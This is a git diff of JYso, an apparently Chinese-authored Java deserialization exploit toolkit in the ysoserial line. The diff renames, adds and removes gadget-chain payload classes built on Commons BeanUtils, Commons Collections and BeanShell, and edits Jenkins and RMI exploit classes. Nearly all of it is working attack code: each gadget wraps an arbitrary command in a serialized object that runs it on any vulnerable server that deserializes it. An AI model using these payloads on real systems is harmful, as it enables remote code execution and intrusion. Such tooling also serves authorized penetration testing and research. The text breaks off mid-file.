diff --git a/build.gradle b/build.gradle index 22ca728..62d453e 100644 --- a/build.gradle +++ b/build.gradle @@ -141,6 +141,7 @@ tasks.withType(Javadoc) { options.encoding = 'UTF-8' } + compileJava { options.compilerArgs << '-XDignore.symbol.file' options.fork = true diff --git a/src/main/java/com/qi4l/JYso/exploit/JenkinsListener.java b/src/main/java/com/qi4l/JYso/exploit/JenkinsListener.java index 6940cfa..7372717 100644 --- a/src/main/java/com/qi4l/JYso/exploit/JenkinsListener.java +++ b/src/main/java/com/qi4l/JYso/exploit/JenkinsListener.java @@ -26,7 +26,7 @@ import java.rmi.activation.ActivationInstantiator; /** * CVE-2016-0788 exploit (1) *

- * 1. delivers a org.su18.ysuserial.payloads.JRMPListener payload to jenkins via it's remoting protocol. + * 1. delivers a com.qi4l.JYso.exploit.JRMPListener payload to jenkins via it's remoting protocol. * 2. that payload causes the remote server to open up an JRMP listener (and export an object). * 3. connect to that JRMP listener and deliver any otherwise blacklisted payload. *

diff --git a/src/main/java/com/qi4l/JYso/exploit/RMIBindExploit.java b/src/main/java/com/qi4l/JYso/exploit/RMIBindExploit.java index 47b578d..1c0f267 100644 --- a/src/main/java/com/qi4l/JYso/exploit/RMIBindExploit.java +++ b/src/main/java/com/qi4l/JYso/exploit/RMIBindExploit.java @@ -19,9 +19,6 @@ import java.rmi.server.RemoteObject; import java.rmi.server.RemoteRef; import java.util.*; -/** - * @author su18 - */ public class RMIBindExploit { diff --git a/src/main/java/com/qi4l/JYso/gadgets/BeanShell1.java b/src/main/java/com/qi4l/JYso/gadgets/BeanShell1.java index 4959cae..9123051 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/BeanShell1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/BeanShell1.java @@ -25,11 +25,13 @@ public class BeanShell1 implements ObjectPayload { String payload = BeanShellUtil.makeBeanShellPayload(command); Interpreter i = new Interpreter(); i.eval(payload); + XThis xt = new XThis(i.getNameSpace(), i); InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt); Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); PriorityQueue priorityQueue = new PriorityQueue(2, comparator); Object[] queue = {Integer.valueOf(1), Integer.valueOf(1)}; + Reflections.setFieldValue(priorityQueue, "queue", queue); Reflections.setFieldValue(priorityQueue, "size", Integer.valueOf(2)); return priorityQueue; diff --git a/src/main/java/com/qi4l/JYso/gadgets/BindingEnumeration.java b/src/main/java/com/qi4l/JYso/gadgets/BindingEnumeration.java index 9a36813..475e914 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/BindingEnumeration.java +++ b/src/main/java/com/qi4l/JYso/gadgets/BindingEnumeration.java @@ -2,12 +2,12 @@ package com.qi4l.JYso.gadgets; import java.net.URI; -public class BindingEnumeration implements ObjectPayload{ +public class BindingEnumeration implements ObjectPayload { @Override public Object getObject(String command) throws Exception { - UtilFactory uf = new UtilFactory(); - URI uri = new URI(command); - String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; - return uf.makeIteratorTrigger(JDKUtil.adaptEnumerationToIterator(JDKUtil.makeBindingEnumeration(args[ 0 ], args[ 1 ]))); + UtilFactory uf = new UtilFactory(); + URI uri = new URI(command); + String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; + return uf.makeIteratorTrigger(JDKUtil.adaptEnumerationToIterator(JDKUtil.makeBindingEnumeration(args[0], args[1]))); } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils1183NOCC.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils1183.java similarity index 89% rename from src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils1183NOCC.java rename to src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils1183.java index a4ec023..5379dc8 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils1183NOCC.java +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils1183.java @@ -12,8 +12,8 @@ import java.util.PriorityQueue; import static com.qi4l.JYso.gadgets.utils.InjShell.insertField; -@Dependencies({"commons-beanutils:commons-beanutils:1.8.3"}) -public class CommonsBeanutils1183NOCC implements ObjectPayload { +@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-beanutils:commons-beanutils:1.7X"}) +public class CommonsBeanutils1183 implements ObjectPayload { @Override public Object getObject(String command) throws Exception { diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils160.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils160.java new file mode 100644 index 0000000..4152b53 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils160.java @@ -0,0 +1,41 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import javassist.ClassPool; +import javassist.CtClass; +import org.apache.commons.beanutils.BeanComparator; + +import java.util.PriorityQueue; + + +import static com.qi4l.JYso.gadgets.utils.InjShell.insertField; + +@Dependencies({"commons-beanutils:commons-beanutils:1.6.0"}) +public class CommonsBeanutils160 implements ObjectPayload { + + @Override + public Object getObject(String command) throws Exception { + final Object template; + template = Gadgets.createTemplatesImpl(command); + + ClassPool pool = ClassPool.getDefault(); + CtClass ctClass = pool.get("org.apache.commons.beanutils.BeanComparator"); + + insertField(ctClass, "serialVersionUID", "private static final long serialVersionUID = 2573799559215537819;"); + + Class beanCompareClazz = ctClass.toClass(); + BeanComparator comparator = (BeanComparator) beanCompareClazz.newInstance(); + final PriorityQueue queue = new PriorityQueue(2, comparator); + queue.add("1"); + queue.add("1"); + + // switch method called by comparator + Reflections.setFieldValue(comparator, "property", "outputProperties"); + Reflections.setFieldValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER); + Reflections.setFieldValue(queue, "queue", new Object[]{template, template}); + + return queue; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils1.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils192.java similarity index 94% rename from src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils1.java rename to src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils192.java index 4d8bb61..f7d52de 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils192.java @@ -10,7 +10,7 @@ import java.util.PriorityQueue; @Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) @Authors({Authors.FROHOFF}) -public class CommonsBeanutils1 implements ObjectPayload { +public class CommonsBeanutils192 implements ObjectPayload { public Object getObject(String command) throws Exception { final Object template; diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils2183NOCC.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils2183.java similarity index 90% rename from src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils2183NOCC.java rename to src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils2183.java index 82f84a8..e5776f1 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils2183NOCC.java +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils2183.java @@ -15,8 +15,8 @@ import static com.qi4l.JYso.gadgets.Config.Config.POOL; import static com.qi4l.JYso.gadgets.utils.InjShell.insertField; import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue; -@Dependencies({"commons-beanutils:commons-beanutils:1.8.3"}) -public class CommonsBeanutils2183NOCC implements ObjectPayload { +@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-beanutils:commons-beanutils:1.7X"}) +public class CommonsBeanutils2183 implements ObjectPayload { @Override public Object getObject(String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils2NOCC.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils2NOCC.java deleted file mode 100644 index 66e357c..0000000 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils2NOCC.java +++ /dev/null @@ -1,46 +0,0 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.SuClassLoader; -import com.qi4l.JYso.gadgets.utils.Reflections; -import javassist.ClassClassPath; -import javassist.ClassPool; -import javassist.CtClass; - -import java.util.Comparator; -import java.util.PriorityQueue; - - -import static com.qi4l.JYso.gadgets.utils.InjShell.insertField; - -@SuppressWarnings({"rawtypes", "unchecked"}) -@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-logging:commons-logging:1.2"}) -public class CommonsBeanutils2NOCC implements ObjectPayload { - - public Object getObject(String command) throws Exception { - - final Object templates; - templates = Gadgets.createTemplatesImpl(command); - // 修改BeanComparator类的serialVersionUID - ClassPool pool = ClassPool.getDefault(); - pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator"))); - final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator"); - - insertField(ctBeanComparator, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;"); - - final Comparator comparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance(); - Reflections.setFieldValue(comparator, "property", null); - Reflections.setFieldValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER); - - final PriorityQueue queue = new PriorityQueue(2, comparator); - // stub data for replacement later - queue.add("1"); - queue.add("1"); - - Reflections.setFieldValue(comparator, "property", "outputProperties"); - Reflections.setFieldValue(queue, "queue", new Object[]{templates, templates}); - ctBeanComparator.defrost(); - return queue; - } -} diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils3183.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils3183.java index fa2dae8..05a8296 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils3183.java +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils3183.java @@ -14,7 +14,7 @@ import java.util.PriorityQueue; import static com.qi4l.JYso.gadgets.Config.Config.POOL; import static com.qi4l.JYso.gadgets.utils.InjShell.insertField; -@Dependencies({"commons-beanutils:commons-beanutils:1.8.3"}) +@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-beanutils:commons-beanutils:1.7X"}) public class CommonsBeanutils3183 implements ObjectPayload{ @Override public Object getObject(String command) throws Exception { @@ -34,7 +34,7 @@ public class CommonsBeanutils3183 implements ObjectPayload{ JdbcRowSetImpl rs = new JdbcRowSetImpl(); rs.setDataSourceName(jndiURL); - rs.setMatchColumn("su18"); + rs.setMatchColumn("qi4l"); PriorityQueue queue = new PriorityQueue(2, comparator); queue.add(new BigInteger("1")); diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsAttrCompare183.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsAttrCompare183.java index 247f7b2..2fa6390 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsAttrCompare183.java +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsAttrCompare183.java @@ -17,7 +17,7 @@ import java.util.Comparator; import java.util.PriorityQueue; -@Dependencies({"commons-beanutils:commons-beanutils:1.8.3"}) +@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-beanutils:commons-beanutils:1.7X"}) @Authors({"SummerSec"}) public class CommonsBeanutilsAttrCompare183 implements ObjectPayload { @Override diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsAttrCompare.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsAttrCompare192.java similarity index 94% rename from src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsAttrCompare.java rename to src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsAttrCompare192.java index 5f8c84c..5104615 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsAttrCompare.java +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsAttrCompare192.java @@ -14,7 +14,7 @@ import java.util.PriorityQueue; @Dependencies({"commons-beanutils:commons-beanutils:1.9.2"}) @Authors({"水滴"}) -public class CommonsBeanutilsAttrCompare implements ObjectPayload { +public class CommonsBeanutilsAttrCompare192 implements ObjectPayload { @Override public Object getObject(String command) throws Exception { final Object template; diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils3.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsJNDI.java similarity index 94% rename from src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils3.java rename to src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsJNDI.java index 46542c3..5265576 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils3.java +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsJNDI.java @@ -9,7 +9,7 @@ import java.math.BigInteger; import java.util.PriorityQueue; @Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1"}) -public class CommonsBeanutils3 implements ObjectPayload { +public class CommonsBeanutilsJNDI implements ObjectPayload { @Override public Object getObject(String command) throws Exception { diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsObjectToStringComparator183.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsObjectToStringComparator183.java index c8767f3..fd13c45 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsObjectToStringComparator183.java +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsObjectToStringComparator183.java @@ -15,7 +15,7 @@ import java.util.Comparator; import java.util.PriorityQueue; -@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "org.apache.commons:commons-lang3:3.10"}) +@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "org.apache.commons:commons-lang3:3.10", "commons-beanutils:commons-beanutils:1.7X"}) @Authors({"SummerSec"}) public class CommonsBeanutilsObjectToStringComparator183 implements ObjectPayload { @Override diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsObjectToStringComparator.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsObjectToStringComparator192.java similarity index 92% rename from src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsObjectToStringComparator.java rename to src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsObjectToStringComparator192.java index a8f9671..b6bbd61 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsObjectToStringComparator.java +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsObjectToStringComparator192.java @@ -11,7 +11,7 @@ import java.util.PriorityQueue; @Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "org.apache.commons:commons-lang3:3.10"}) @Authors({"水滴"}) -public class CommonsBeanutilsObjectToStringComparator implements ObjectPayload { +public class CommonsBeanutilsObjectToStringComparator192 implements ObjectPayload { @Override public Object getObject(String command) throws Exception { final Object template; diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsPropertySource183.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsPropertySource183.java index dcc099c..e718b41 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsPropertySource183.java +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsPropertySource183.java @@ -15,7 +15,7 @@ import java.util.Comparator; import java.util.PriorityQueue; -@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "org.apache.logging.log4j:log4j-core:2.17.1"}) +@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-beanutils:commons-beanutils:1.7X"}) @Authors({"SummerSec"}) public class CommonsBeanutilsPropertySource183 implements ObjectPayload { @Override diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsPropertySource.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsPropertySource192.java similarity index 86% rename from src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsPropertySource.java rename to src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsPropertySource192.java index ac220f0..bb09a9f 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsPropertySource.java +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsPropertySource192.java @@ -10,9 +10,9 @@ import org.apache.logging.log4j.util.PropertySource; import java.util.PriorityQueue; -@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "org.apache.logging.log4j:log4j-core:2.17.1"}) +@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"}) @Authors({"SummerSec"}) -public class CommonsBeanutilsPropertySource implements ObjectPayload { +public class CommonsBeanutilsPropertySource192 implements ObjectPayload { @Override public Object getObject(String command) throws Exception { final Object template; diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections10.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections10.java index 0e744fb..9f2a1a5 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections10.java +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections10.java @@ -16,7 +16,6 @@ import java.util.Map; @Dependencies({"commons-collections:commons-collections:3.2.1"}) - public class CommonsCollections10 implements ObjectPayload { public Object getObject(String command) throws Exception { diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections12.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections12.java index 8302907..71b6d4d 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections12.java +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections12.java @@ -1,31 +1,42 @@ package com.qi4l.JYso.gadgets; +import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil; + +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.DefaultedMap; +import javax.management.BadAttributeValueExpException; +import java.lang.reflect.Field; import java.util.HashMap; -import java.util.Hashtable; import java.util.Map; @Dependencies({"commons-collections:commons-collections:3.2.1"}) -public class CommonsCollections12 implements ObjectPayload { +@Authors({Authors.Jayl1n}) +public class CommonsCollections12 implements ObjectPayload{ @Override - public Hashtable getObject(String command) throws Exception { - final Transformer[] transformers = TransformerUtil.makeTransformer(command); - Map hashMap1 = new HashMap(); - Map hashMap2 = new HashMap(); - DefaultedMap defaultedMap1 = (DefaultedMap) DefaultedMap.decorate(hashMap1, transformers); - DefaultedMap defaultedMap2 = (DefaultedMap) DefaultedMap.decorate(hashMap2, transformers); + public Object getObject(String command) throws Exception { + final Transformer transformerChain = new ChainedTransformer( + new Transformer[]{ new ConstantTransformer(1) }); + final Transformer[] transformers = TransformerUtil.makeTransformer(command); + final Map innerMap = new HashMap(); + final Map defaultedmap = DefaultedMap.decorate(innerMap, transformerChain); - defaultedMap1.put("yy", 1); - defaultedMap2.put("zZ", 1); - Hashtable hashtable = new Hashtable(); - hashtable.put(defaultedMap1, 1); - hashtable.put(defaultedMap2, 1); - defaultedMap2.remove("yy"); + TiedMapEntry entry = new TiedMapEntry(defaultedmap, "foo"); - return hashtable; + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Field valfield = val.getClass().getDeclaredField("val"); + valfield.setAccessible(true); + valfield.set(val, entry); + + // arm with actual transformer chain + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); + + return val; } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections13.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections13.java index 3541e63..acd7c9d 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections13.java +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections13.java @@ -2,41 +2,34 @@ package com.qi4l.JYso.gadgets; import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil; - -import org.apache.commons.collections.functors.ChainedTransformer; -import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantFactory; import org.apache.commons.collections.keyvalue.TiedMapEntry; -import org.apache.commons.collections.map.DefaultedMap; +import org.apache.commons.collections.map.LazyMap; -import javax.management.BadAttributeValueExpException; -import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; -@Dependencies({"commons-collections:commons-collections:3.2.1"}) -@Authors({Authors.Jayl1n}) -public class CommonsCollections13 implements ObjectPayload{ +@Dependencies({"commons-collections:commons-collections:3.1"}) +@Authors({Authors.Unam4}) +public class CommonsCollections13 implements ObjectPayload { @Override public Object getObject(String command) throws Exception { - final Transformer transformerChain = new ChainedTransformer( - new Transformer[]{ new ConstantTransformer(1) }); - final Transformer[] transformers = TransformerUtil.makeTransformer(command); - final Map innerMap = new HashMap(); - final Map defaultedmap = DefaultedMap.decorate(innerMap, transformerChain); + final Transformer[] transformers = TransformerUtil.makeTransformer(command); + Transformer transformerChain = new ChainedTransformer(transformers); + Map decorate = LazyMap.decorate(new HashMap(), new ConstantFactory(1)); + TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, 1); + HashMap hashMap = Gadgets.maskmapToString(tiedMapEntry, tiedMapEntry); - TiedMapEntry entry = new TiedMapEntry(defaultedmap, "foo"); + Reflections.setFieldValue(decorate, "factory", transformerChain); + Reflections.setFieldValue(tiedMapEntry, "key", 233); - BadAttributeValueExpException val = new BadAttributeValueExpException(null); - Field valfield = val.getClass().getDeclaredField("val"); - valfield.setAccessible(true); - valfield.set(val, entry); - - // arm with actual transformer chain - Reflections.setFieldValue(transformerChain, "iTransformers", transformers); - - return val; + return hashMap; + //return hashtable; } + } diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections14.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections14.java deleted file mode 100644 index 53ad0c9..0000000 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections14.java +++ /dev/null @@ -1,34 +0,0 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.Reflections; -import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil; -import org.apache.commons.collections.Transformer; -import org.apache.commons.collections.functors.ChainedTransformer; -import org.apache.commons.collections.functors.ConstantFactory; -import org.apache.commons.collections.keyvalue.TiedMapEntry; -import org.apache.commons.collections.map.LazyMap; - -import java.util.HashMap; -import java.util.Map; - -@Dependencies({"commons-collections:commons-collections:3.1"}) -@Authors({Authors.Unam4}) -public class CommonsCollections14 implements ObjectPayload { - @Override - public Object getObject(String command) throws Exception { - final Transformer[] transformers = TransformerUtil.makeTransformer(command); - - Transformer transformerChain = new ChainedTransformer(transformers); - Map decorate = LazyMap.decorate(new HashMap(), new ConstantFactory(1)); - TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,1); - HashMap hashMap = Gadgets.maskmapToString(tiedMapEntry, tiedMapEntry); - Reflections.setFieldValue(decorate, "factory",transformerChain ); - Reflections.setFieldValue(tiedMapEntry, "key",233); - - return hashMap; - } - -} diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections15.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections15.java deleted file mode 100644 index c937363..0000000 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections15.java +++ /dev/null @@ -1,34 +0,0 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.Reflections; -import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil; -import org.apache.commons.collections.Transformer; -import org.apache.commons.collections.functors.ChainedTransformer; -import org.apache.commons.collections.functors.ConstantFactory; -import org.apache.commons.collections.keyvalue.TiedMapEntry; -import org.apache.commons.collections.map.LazyMap; - -import java.util.HashMap; -import java.util.Hashtable; -import java.util.Map; - -@Dependencies({"commons-collections:commons-collections:3.1"}) -@Authors({Authors.Unam4}) -public class CommonsCollections15 implements ObjectPayload { - @Override - public Object getObject(String command) throws Exception { - final Transformer[] transformers = TransformerUtil.makeTransformer(command); - - Transformer transformerChain = new ChainedTransformer(transformers); - Map decorate = LazyMap.decorate(new HashMap(), new ConstantFactory(1)); - - TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,1); - Hashtable hashtable = Gadgets.makeTableTstring(tiedMapEntry); - Reflections.setFieldValue(decorate, "factory",transformerChain ); - Reflections.setFieldValue(tiedMapEntry, "key",233); - return hashtable; - } -} \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections16.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections16.java deleted file mode 100644 index 1871634..0000000 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections16.java +++ /dev/null @@ -1,41 +0,0 @@ -package com.qi4l.JYso.gadgets; - - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Reflections; -import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil; -import org.apache.commons.collections.Transformer; -import org.apache.commons.collections.functors.ChainedTransformer; -import org.apache.commons.collections.functors.ConstantFactory; -import org.apache.commons.collections.keyvalue.TiedMapEntry; -import org.apache.commons.collections.map.LazyMap; - -import java.lang.annotation.Target; -import java.lang.reflect.Constructor; -import java.lang.reflect.InvocationHandler; -import java.util.HashMap; -import java.util.Map; - -@Dependencies({"commons-collections:commons-collections:3.1","jdk:jdk<=8u70"}) -@Authors({Authors.Unam4}) -public class CommonsCollections16 implements ObjectPayload { - @Override - public Object getObject(String command) throws Exception { - final Transformer[] transformers = TransformerUtil.makeTransformer(command); - - Transformer transformerChain = new ChainedTransformer(transformers); - Map decorate = LazyMap.decorate(new HashMap(), new ConstantFactory(1)); - - TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,1); - HashMap map1 = new HashMap<>(); - map1.put("value",tiedMapEntry); - Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); - Constructor Anotationdeclared = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class); - Anotationdeclared.setAccessible(true); - InvocationHandler h = (InvocationHandler) Anotationdeclared.newInstance(Target.class, map1); - Reflections.setFieldValue(decorate, "factory",transformerChain ); - Reflections.setFieldValue(tiedMapEntry, "key",233); - return h; - } -} \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections7.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections7.java index 012c8ec..ddee51e 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections7.java +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections7.java @@ -12,10 +12,12 @@ import java.util.HashMap; import java.util.Hashtable; import java.util.Map; +/** + * CC6的简化写法 + */ @SuppressWarnings({"rawtypes", "unchecked"}) @Dependencies({"commons-collections:commons-collections:3.1"}) @Authors({Authors.SCRISTALLI, Authors.HANYRAX, Authors.EDOARDOVIGNATI}) - public class CommonsCollections7 implements ObjectPayload { public Hashtable getObject(String command) throws Exception { diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections8.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections8.java index 2941344..9c7d79f 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections8.java +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections8.java @@ -14,10 +14,8 @@ import java.util.Comparator; @Dependencies({"org.apache.commons:commons-collections4:4.0"}) @Authors({"navalorenzo"}) - public class CommonsCollections8 implements ObjectPayload { - public TreeBag getObject(String command) throws Exception { final Object templates; templates = Gadgets.createTemplatesImpl(command); diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK5.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK5.java deleted file mode 100644 index c3f51e7..0000000 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollectionsK5.java +++ /dev/null @@ -1,45 +0,0 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Reflections; -import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil; -import org.apache.commons.collections4.Transformer; -import org.apache.commons.collections4.functors.ChainedTransformer; -import org.apache.commons.collections4.map.LazyMap; - -import java.util.HashMap; -import java.util.Hashtable; -import java.util.Map; - -@Dependencies({"commons-collections:commons-collections:4.0"}) -@Authors({Authors.QI4L}) -public class CommonsCollectionsK5 implements ObjectPayload { - - public Hashtable getObject(String command) throws Exception { - - final Transformer transformerChain = new ChainedTransformer(new 